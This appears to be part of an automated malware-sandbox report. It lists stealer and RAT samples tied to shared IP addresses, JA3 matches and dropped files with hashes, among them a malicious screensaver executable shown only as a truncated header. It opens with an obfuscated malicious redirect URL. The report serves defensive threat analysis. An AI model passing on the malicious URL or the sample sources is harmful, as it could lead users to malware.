                                                                                                                      https://www.google.co.kr/url?url=https://hrtyuytitwagtxswxzqxpcm&jtdm=hjstxxb&qhwocq=elw&vrszx=mrursi&rtz=qksmlok&sdyxm=kxlpun&hnkj=iujyvng&vochgqf=ylsd&pkhfd=vyifcj&nymdhak=ffn&ylzv=xpddvxaj&zoadnebgoj=rccejsmuqd&q=amp/hmf1bnz.s%C2%ADlf%C2%ADpg%C2%ADq%C2%ADq%C2%ADwzu%C2%ADx%C2%ADppns%C2%ADc%C2%ADs%C2%AD.com%E2%80%8B/n7brnx1iy&lbgq=ihcrvpx&isffrcc=xjcvvbbd&hokv=buitobfj&nfzezydbgm=lhtjhglyxx&pjwu=tdsgcse&cesnzrb=ekoykarj&ifpv=yabmwecd&acyeqkflup=bacwibnnwl&dovx=vqvcdxk&rwbvdtj=khlezois&efgx=ktfpexjt&iqggbgjmwh=cvqmvfdelx&gqsh=ghsdgye&hipceti=hpqeesqk&hkvbucxuvo=drwoirzwsq&dril=qbpemxo&xziwtam=tdvywqlj&nndiwyldry=kjqbehmdbj&kqef=faiqetj&peigggc=vbyfdxky&fstmbbtmkx=rjxugltfmc&rpws=borxqez&rijvxqj=ntedqhtd&wohxxxgtmq=jpiozpkrbp&cxah=gcmtksp&tzidqah=syxnwioo&szzishkfke=xmnmodwwoc&xmif=xdxtrqz&ajzcojq=fmtqkshw&gkmh=vmwdknp&xvlhpuf=zkhqqziq&rvfh=igbqint&gdnzlky=hyzlhjke&dqkq=ophpttl&yoamsuz=cuykisoc&frzr=lajcnwi&chdmjpw=hymhkhbw&wnxy=zwkomqb&duxkrfq=asjrwcgu&fzya=hrpcnke&hxrusxm=foudbois&yqgm=uhfvxoo&uynyplq=iryzkatx&qfzs=stmleud&vkbxzkf=hxgbjzit&dnro=vjxntck&kfrldgj=vpyfihbn&nsko=sdzidzb&unudtuz=mnvrwokv&lisf=zxdfari&tdyzrah=otrtzuun&rfza=trokalr&vkfduyc=wpwvnxpe&jjsq=pgkbofh&uatnbjp=gtwiypfq&zilu=kagobvs&jqfufkw=bckrzetp&tjng=jgmmmod&fvdtpsk=vlyzfjep&mgoi=fklhysh&llyljdv=jxpogtdn&gcjv=vjlzkuf&erlhvti=peuprtov&kbxk=jviffkg&lklbxhl=uhzpnzfw&upaw=gfmiehp&ismxijp=hmwbsmgj&zdkc=kodikna&njllvzf=oodglyrw&urdk=cktezyn&vmqhwgh=kqcbhffu&riqy=tlnbqzr&nmlgrkn=inyeynzg&vebu=pwpghzr&ckpmyoc=tmeufjen&otic=svrqsdo&tbwzubGet hashmaliciousUnknownBrowse
                                                                                                                      • 104.17.25.14
                                                                                                                      file.exeGet hashmaliciousAmadey, Credential Flusher, LummaC Stealer, StealcBrowse
                                                                                                                      • 104.21.33.116
                                                                                                                      file.exeGet hashmaliciousAmadey, Stealc, VidarBrowse
                                                                                                                      • 172.64.41.3
                                                                                                                      file.exeGet hashmaliciousLummaC StealerBrowse
                                                                                                                      • 104.21.33.116
                                                                                                                      cmd.exeGet hashmaliciousBlank GrabberBrowse
                                                                                                                      • 162.159.128.233
                                                                                                                      http://elizgallery.com/js.phpGet hashmaliciousUnknownBrowse
                                                                                                                      • 172.64.41.3

                                                                                                                      JA3 Fingerprints

                                                                                                                      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                      74954a0c86284d0d6e1c4efefe92b52118sFhgSyVK.exeGet hashmaliciousXWormBrowse
                                                                                                                      • 185.199.109.133
                                                                                                                      KEFttAEb.vbsGet hashmaliciousPureCrypterBrowse
                                                                                                                      • 185.199.109.133
                                                                                                                      hkQx7f6zzw.exeGet hashmaliciousTVratBrowse
                                                                                                                      • 185.199.109.133
                                                                                                                      hkQx7f6zzw.exeGet hashmaliciousTVratBrowse
                                                                                                                      • 185.199.109.133
                                                                                                                      reservation .exeGet hashmaliciousTVratBrowse
                                                                                                                      • 185.199.109.133
                                                                                                                      oZ3vtWXObB.exeGet hashmaliciousTVratBrowse
                                                                                                                      • 185.199.109.133
                                                                                                                      aeyh21MAtA.exeGet hashmaliciousTVratBrowse
                                                                                                                      • 185.199.109.133
                                                                                                                      wjpP1EOX0L.exeGet hashmaliciousTVratBrowse
                                                                                                                      • 185.199.109.133
                                                                                                                      PkWnPA8l7C.exeGet hashmaliciousDBatLoader, TVratBrowse
                                                                                                                      • 185.199.109.133
                                                                                                                      oZ3vtWXObB.exeGet hashmaliciousTVratBrowse
                                                                                                                      • 185.199.109.133
                                                                                                                      3b5074b1b5d032e5620f69f9f700ff0eowuP726k3d.exeGet hashmaliciousAsyncRAT, XWormBrowse
                                                                                                                      • 104.26.0.100
                                                                                                                      WV7Gj9lJ7W.exeGet hashmaliciousXWormBrowse
                                                                                                                      • 104.26.0.100
                                                                                                                      18sFhgSyVK.exeGet hashmaliciousXWormBrowse
                                                                                                                      • 104.26.0.100
                                                                                                                      kwlYObMOSn.exeGet hashmaliciousXWormBrowse
                                                                                                                      • 104.26.0.100
                                                                                                                      file.exeGet hashmaliciousAmadey, Stealc, VidarBrowse
                                                                                                                      • 104.26.0.100
                                                                                                                      psol.txt.ps1Get hashmaliciousLummaCBrowse
                                                                                                                      • 104.26.0.100
                                                                                                                      SystemCoreHelper.dllGet hashmaliciousLummaC StealerBrowse
                                                                                                                      • 104.26.0.100
                                                                                                                      Setup.exeGet hashmaliciousLummaCBrowse
                                                                                                                      • 104.26.0.100
                                                                                                                      file.exeGet hashmaliciousAmadey, Stealc, VidarBrowse
                                                                                                                      • 104.26.0.100
                                                                                                                      file.exeGet hashmaliciousAmadey, Stealc, VidarBrowse
                                                                                                                      • 104.26.0.100

                                                                                                                      Dropped Files

                                                                                                                      ⊘No context

                                                                                                                      Created / dropped Files

                                                                                                                      C:\Users\Public\winnotify.scr

                                                                                                                      Download File
                                                                                                                      Process:C:\Users\gbcd\qqq.scr
                                                                                                                      File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                      Category:dropped
                                                                                                                      Size (bytes):1197056
                                                                                                                      Entropy (8bit):7.988074396780874
                                                                                                                      Encrypted:false
                                                                                                                      SSDEEP:24576:d03w+BZPXvYFDlXtCkOdmpYHC97hMj8uVyI26K:de9dgFlXtmdDC97GjtN
                                                                                                                      MD5:33300ACB6FB3C7EFFAE29A3EB133BE2E
                                                                                                                      SHA1:5C906423479C8089BE9C51EE2A015D6FB634A4B3
                                                                                                                      SHA-256:F7B3C2421385D8169D382B108EBB542786BAB4A622A73B039DC887E25682C952
                                                                                                                      SHA-512:55A6E5253FE7B9DF1C0788C34685D3F33289CD29BFA6A0CF99E0671DDA0655DD885D0B93912E21EAC5F16978CC02C33FF0849BE8AFFFACDCAE8F0A64A91049D3
                                                                                                                      Malicious:true
                                                                                                                      Antivirus:
                                                                                                                      • Antivirus: Avira, Detection: 100%
                                                                                                                      • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                                                                      • Antivirus: ReversingLabs, Detection: 51%
                                                                                                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....^?g.................V..........a.... ........@.. ....................... ;...........@................................. `-..............................`-..............................................................................................`... ......................@............ ..........................@............ ..........................@....rsrc.... ..........................@.............).........................@....stovfcw.....`-.....................@...........................................lW..!.*... W..!........................................................................................................................................................................................................................................................................................................................................

                                                                                                                      C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\fff.scr.log

                                                                                                                      Download File
                                                                                                                      Process:C:\Users\gbcd\fff.scr
                                                                                                                      File Type:ASCII text, with CRLF line terminators
                                                                                                                      Category:dropped
                                                                                                                      Size (bytes):1248
                                                                                                                      Entropy (8bit):5.347863460191528
                                                                                                                      Encrypted:false
                                                                                                                      SSDEEP:24:ML9E4KlKDE4KhKiKhp1qE4qpsXE4qdKtKIE4oKNzKoZAE4KzeRE4Ks:MxHKlYHKh3op1qHpH7tHo6hAHKzeRHKs
                                                                                                                      MD5:4DB0619D3BC140708F5C60C2750D9BD2
                                                                                                                      SHA1:E47FDB4F056911469ECF05C6EB773FFA1F907328
                                                                                                                      SHA-256:BB5D470764DA3F195869DB5CC4A6899D4341C52FB65783AD0B555C261752356D
                                                                                                                      SHA-512:FE389948DFA2725C9A2A996C4A3D487AA9BDE1C99063D0742ACC4D4A87600CCF1CE454C481A4438A9233D79C36ECE26646A691238832A828C66F2348FE15EFBB
                                                                                                                      Malicious:false
                                                                                                                      Preview:1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Management, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Management\96012833bebd5f21714fc508603cda97\System.Management.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neu

                                                                                                                      C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\winnotify.scr.log

                                                                                                                      Download File
                                                                                                                      Process:C:\Users\Public\winnotify.scr
                                                                                                                      File Type:ASCII text, with CRLF line terminators
                                                                                                                      Category:dropped
                                                                                                                      Size (bytes):522
                                                                                                                      Entropy (8bit):5.358731107079437
                                                                                                                      Encrypted:false
                                                                                                                      SSDEEP:12:Q3La/hz92n4M9tDLI4MWuPTAOKbbDLI4MWuPJKAVKhav:MLU84qpE4KlKDE4KhKiKhk
                                                                                                                      MD5:93E4C46884CB6EE7CDCC4AACE78CDFAC
                                                                                                                      SHA1:29B12D9409BA9AFE4C949F02F7D232233C0B5228
                                                                                                                      SHA-256:2690023A62F22AB7B27B09351205BA31173B50B77ACA89A5759EDF29A1FB17F7
                                                                                                                      SHA-512:E9C3E2FCEE4E13F7776665295A4F6085002913E011BEEF32C8E7065140937DDE1963182B547CC75110BF32AE5130A6686D5862076D5FFED9241F183B9217FA4D
                                                                                                                      Malicious:false
                                                                                                                      Preview:1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..

                                                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                      Download File
                                                                                                                      Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                      File Type:data
                                                                                                                      Category:modified
                                                                                                                      Size (bytes):2232
                                                                                                                      Entropy (8bit):5.381368395106955
                                                                                                                      Encrypted:false
                                                                                                                      SSDEEP:48:JWSU4y4RQmFoULF+gZ9tK8NPZHUxL7u1iMuge//ZcvUyus:JLHyIFKEDZ2KRHWLOugQs
                                                                                                                      MD5:E349C2F9A5B64A06F7362854100E2B21
                                                                                                                      SHA1:A08B4F5C2382539536695C9FD437FAFD9DED345B
                                                                                                                      SHA-256:04C89D2AD94E8DCAE5D244F768B225B156D31DD5906E6C81DC43F782A10E24C6
                                                                                                                      SHA-512:6743C53871E3177DA4F445C9FFFC2909E71AC2F7692DC375881DDB9C9C9E7C11B422B40364ADEBA3D7ED7A8C88BBC7195FCC76FA150E16477F5D7A299332F0A9
                                                                                                                      Malicious:false
                                                                                                                      Preview:@...e.................................:..............@..........P................1]...E.....j.....(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..|f........System.Core.D...............4..7..D.#V.............System.Management.AutomationL.................*gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices4.................%...K... ...........System.Xml..8..................1...L..U;V.<}........System.Numerics.<...............i..VdqF...|...........System.Configuration4.....................@.[8]'.\........System.Data.H................WY..2.M.&..g*(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

                                                                                                                      C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0e1vrb2h.sjr.psm1

                                                                                                                      Download File
                                                                                                                      Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                      File Type:ASCII text, with no line terminators
                                                                                                                      Category:dropped
                                                                                                                      Size (bytes):60
                                                                                                                      Entropy (8bit):4.038920595031593
                                                                                                                      Encrypted:false
                                                                                                                      SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                      MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                      SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                      SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                      SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                      Malicious:false
                                                                                                                      Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                      C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0hmbazka.220.ps1

                                                                                                                      Download File
                                                                                                                      Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                      File Type:ASCII text, with no line terminators
                                                                                                                      Category:dropped
                                                                                                                      Size (bytes):60
                                                                                                                      Entropy (8bit):4.038920595031593
                                                                                                                      Encrypted:false
                                                                                                                      SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                      MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                      SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                      SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                      SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                      Malicious:false
                                                                                                                      Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                      C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2dgfciwj.hbd.ps1

                                                                                                                      Download File
                                                                                                                      Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                      File Type:ASCII text, with no line terminators
                                                                                                                      Category:dropped
                                                                                                                      Size (bytes):60
                                                                                                                      Entropy (8bit):4.038920595031593
                                                                                                                      Encrypted:false
                                                                                                                      SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                      MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                      SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                      SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                      SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                      Malicious:false
                                                                                                                      Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                      C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2vp55bia.dte.ps1

                                                                                                                      Download File
                                                                                                                      Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                      File Type:ASCII text, with no line terminators
                                                                                                                      Category:dropped
                                                                                                                      Size (bytes):60
                                                                                                                      Entropy (8bit):4.038920595031593
                                                                                                                      Encrypted:false
                                                                                                                      SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                      MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                      SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                      SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                      SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                      Malicious:false
                                                                                                                      Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                      C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3yi5zwfi.5h0.ps1

                                                                                                                      Download File
                                                                                                                      Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                      File Type:ASCII text, with no line terminators
                                                                                                                      Category:dropped
                                                                                                                      Size (bytes):60
                                                                                                                      Entropy (8bit):4.038920595031593
                                                                                                                      Encrypted:false
                                                                                                                      SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                      MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                      SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                      SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                      SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                      Malicious:false
                                                                                                                      Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                      C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_b11ftsoy.plq.psm1

                                                                                                                      Download File
                                                                                                                      Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                      File Type:ASCII text, with no line terminators
                                                                                                                      Category:dropped
                                                                                                                      Size (bytes):60
                                                                                                                      Entropy (8bit):4.038920595031593
                                                                                                                      Encrypted:false
                                                                                                                      SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                      MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                      SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                      SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                      SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                      Malicious:false
                                                                                                                      Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                      C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dche31rq.lni.psm1

                                                                                                                      Download File
                                                                                                                      Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                      File Type:ASCII text, with no line terminators
                                                                                                                      Category:dropped
                                                                                                                      Size (bytes):60
                                                                                                                      Entropy (8bit):4.038920595031593
                                                                                                                      Encrypted:false
                                                                                                                      SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                      MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                      SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                      SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                      SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                      Malicious:false
                                                                                                                      Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                      C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ed0e3l02.oeq.ps1

                                                                                                                      Download File
                                                                                                                      Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                      File Type:ASCII text, with no line terminators
                                                                                                                      Category:dropped
                                                                                                                      Size (bytes):60
                                                                                                                      Entropy (8bit):4.038920595031593
                                                                                                                      Encrypted:false
                                                                                                                      SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                      MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                      SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                      SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                      SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                      Malicious:false
                                                                                                                      Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                      C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ewrwyp5n.x2x.psm1

                                                                                                                      Download File
                                                                                                                      Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                      File Type:ASCII text, with no line terminators
                                                                                                                      Category:dropped
                                                                                                                      Size (bytes):60
                                                                                                                      Entropy (8bit):4.038920595031593
                                                                                                                      Encrypted:false
                                                                                                                      SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                      MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                      SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                      SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                      SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                      Malicious:false
                                                                                                                      Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                      C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fdmvsyzb.4pa.ps1

                                                                                                                      Download File
                                                                                                                      Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                      File Type:ASCII text, with no line terminators
                                                                                                                      Category:dropped
                                                                                                                      Size (bytes):60
                                                                                                                      Entropy (8bit):4.038920595031593
                                                                                                                      Encrypted:false
                                                                                                                      SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                      MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                      SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                      SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                      SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                      Malicious:false
                                                                                                                      Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                      C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_idspgazx.bcl.psm1

                                                                                                                      Download File
                                                                                                                      Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                      File Type:ASCII text, with no line terminators
                                                                                                                      Category:dropped
                                                                                                                      Size (bytes):60
                                                                                                                      Entropy (8bit):4.038920595031593
                                                                                                                      Encrypted:false
                                                                                                                      SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                      MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                      SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                      SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                      SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                      Malicious:false
                                                                                                                      Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                      C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_istmp1fy.xbv.psm1

                                                                                                                      Download File
                                                                                                                      Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                      File Type:ASCII text, with no line terminators
                                                                                                                      Category:dropped
                                                                                                                      Size (bytes):60
                                                                                                                      Entropy (8bit):4.038920595031593
                                                                                                                      Encrypted:false
                                                                                                                      SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                      MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                      SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                      SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                      SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                      Malicious:false
                                                                                                                      Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                      C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_k4as1qeg.ijg.ps1

                                                                                                                      Download File
                                                                                                                      Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                      File Type:ASCII text, with no line terminators
                                                                                                                      Category:dropped
                                                                                                                      Size (bytes):60
                                                                                                                      Entropy (8bit):4.038920595031593
                                                                                                                      Encrypted:false
                                                                                                                      SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                      MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                      SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                      SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                      SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                      Malicious:false
                                                                                                                      Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                      C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lmryakuo.fke.psm1

                                                                                                                      Download File
                                                                                                                      Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                      File Type:ASCII text, with no line terminators
                                                                                                                      Category:dropped
                                                                                                                      Size (bytes):60
                                                                                                                      Entropy (8bit):4.038920595031593
                                                                                                                      Encrypted:false
                                                                                                                      SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                      MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                      SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                      SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                      SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                      Malicious:false
                                                                                                                      Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                      C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ngi1ehjn.fxx.psm1

                                                                                                                      Download File
                                                                                                                      Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                      File Type:ASCII text, with no line terminators
                                                                                                                      Category:dropped
                                                                                                                      Size (bytes):60
                                                                                                                      Entropy (8bit):4.038920595031593
                                                                                                                      Encrypted:false
                                                                                                                      SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                      MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                      SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                      SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                      SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                      Malicious:false
                                                                                                                      Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                      C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ojceuebg.jo1.psm1

                                                                                                                      Download File
                                                                                                                      Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                      File Type:ASCII text, with no line terminators
                                                                                                                      Category:dropped
                                                                                                                      Size (bytes):60
                                                                                                                      Entropy (8bit):4.038920595031593
                                                                                                                      Encrypted:false
